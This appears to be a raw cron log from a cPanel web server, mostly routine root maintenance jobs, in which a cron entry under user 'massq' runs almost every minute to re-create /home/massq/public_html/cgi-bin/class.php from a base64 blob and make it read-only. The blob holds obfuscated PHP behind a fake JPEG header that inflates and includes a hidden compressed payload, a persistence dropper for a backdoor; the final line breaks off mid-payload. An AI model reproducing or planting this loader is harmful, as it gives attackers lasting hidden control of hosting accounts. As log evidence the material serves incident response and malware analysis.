Sep  1 01:50:01 server CROND[5712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:50:01 server CROND[5714]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 01:50:01 server CROND[5715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:50:01 server CROND[5717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:50:01 server CROND[5718]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 01:50:01 server CROND[5719]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 01:50:01 server CROND[5724]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 01:50:01 server CROND[5720]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 01:50:01 server CROND[5721]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 01:51:01 server CROND[6543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:51:01 server CROND[6544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:51:01 server CROND[6545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:52:01 server CROND[6917]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:52:01 server CROND[6918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:52:01 server CROND[6920]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:53:01 server CROND[7377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:53:01 server CROND[7378]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:53:01 server CROND[7379]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:54:01 server CROND[7759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:54:01 server CROND[7760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:54:01 server CROND[7761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:55:01 server CROND[8153]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 01:55:01 server CROND[8154]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 01:55:01 server CROND[8157]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:55:01 server CROND[8158]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 01:55:01 server CROND[8160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:55:01 server CROND[8161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:55:01 server CROND[8159]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 01:56:01 server CROND[8976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:56:01 server CROND[8975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:56:01 server CROND[8977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:57:01 server CROND[9352]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:57:01 server CROND[9353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:57:01 server CROND[9354]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 01:57:01 server CROND[9355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:58:01 server CROND[9846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:58:01 server CROND[9847]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:58:01 server CROND[9848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:59:01 server CROND[10227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:59:01 server CROND[10228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:59:01 server CROND[10229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:00:01 server CROND[10619]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 02:00:01 server CROND[10620]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 02:00:01 server CROND[10622]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 02:00:01 server CROND[10625]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 02:00:01 server CROND[10627]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep  1 02:00:01 server CROND[10635]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  1 02:00:01 server CROND[10634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:00:01 server CROND[10633]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  1 02:00:01 server CROND[10637]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 02:00:01 server CROND[10639]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:00:01 server CROND[10636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:01:01 server CROND[11500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:01:01 server CROND[11506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:01:01 server CROND[11507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X